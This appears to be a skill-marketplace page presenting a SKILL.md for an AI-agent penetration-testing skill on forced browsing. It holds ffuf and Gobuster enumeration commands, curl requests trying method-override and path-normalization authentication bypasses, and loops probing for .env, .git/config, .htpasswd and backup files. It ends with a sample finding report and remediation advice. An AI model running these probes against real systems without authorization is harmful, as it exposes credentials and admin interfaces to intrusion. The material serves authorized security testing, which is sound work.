메뉴
Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill bypassing-authentication-with-forced-browsing명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
SKILL.md 표시 중
| name | bypassing-authentication-with-forced-browsing |
| description | Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","authentication-bypass","forced-browsing","ffuf","directory-enumeration","owasp"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1083","T1087"] |
go install github.com/ffuf/ffuf/v2@latest)apt install gobuster)git clone https://github.com/danielmiessler/SecLists.git)Use ffuf or Gobuster to discover paths not linked in the application's navigation.
# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 \
-fc 404 \
-o results-dirs.json -of json \
-t 50 -rate 100
# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
-mc 200,301,302,403 \
-fc 404 \
-o results-files.json -of json \
-t 50 -rate 100
# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-s "200,204,301,302,307,403" \
-x php,asp,aspx,jsp,html \
-o gobuster-results.txt \
-t 50
Target common administrative paths and debug endpoints.
# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302 \
-t 50 -rate 100
# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status
# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403 \
-fc 404 \
-o api-results.json -of json
# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
"https://target.example.com/actuator/$endpoint"
done
Compare responses between unauthenticated and authenticated requests.
# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/admin/dashboard"
# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
-b "session=valid_session_token_here" \
"https://target.example.com/admin/dashboard"
# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c
# Authenticated request
curl -s -b "session=valid_token" \
"https://target.example.com/admin/users" | wc -c
# If both return similar content, authentication is not enforced
# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses
Some applications only enforce authentication for specific HTTP methods.
# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" "https://target.example.com/admin/settings"
done
# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "X-HTTP-Method-Override: GET" \
"https://target.example.com/admin/settings"
curl -s -o /dev/null -w "%{http_code}" \
-H "X-Original-Method: GET" \
-H "X-Rewrite-URL: /admin/settings" \
"https://target.example.com/"
Exploit URL parsing differences to bypass path-based authentication rules.
# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"
# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"
# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"
Search for sensitive files inadvertently exposed on the web server.
# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
-mc 200 -t 50 -rate 100
# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
web.config wp-config.php.bak config.php.old \
database.yml .htpasswd server-status phpinfo.php \
robots.txt sitemap.xml crossdomain.xml; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/$file")
if [ "$status" != "404" ]; then
echo "FOUND ($status): $file"
fi
done
# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed
| Concept | Description |
|---|---|
| Forced Browsing | Directly accessing URLs that are not linked but exist on the server |
| Directory Enumeration | Brute-forcing directory and file names against a wordlist to discover hidden content |
| Authentication Bypass | Accessing protected resources without valid credentials due to missing access checks |
| Path Normalization | Exploiting differences in how web servers and application frameworks parse URL paths |
| Method-based Bypass | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks |
| Information Disclosure | Exposure of sensitive configuration files, backups, or debug interfaces |
| Defense in Depth | Layered security controls where authentication is enforced at multiple levels |
| Tool | Purpose |
|---|---|
| ffuf | Fast web fuzzer for directory, file, and parameter enumeration |
| Gobuster | Directory and DNS brute-forcing tool written in Go |
| Feroxbuster | Recursive content discovery tool with automatic recursion |
| DirBuster | OWASP Java-based directory brute-force tool with GUI |
| Burp Suite | HTTP proxy for request interception and automated scanning |
| SecLists | Comprehensive collection of wordlists for security testing |
An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.
API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.
A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.
The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.
## Forced Browsing / Authentication Bypass Finding
**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control
### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |
### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository
### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints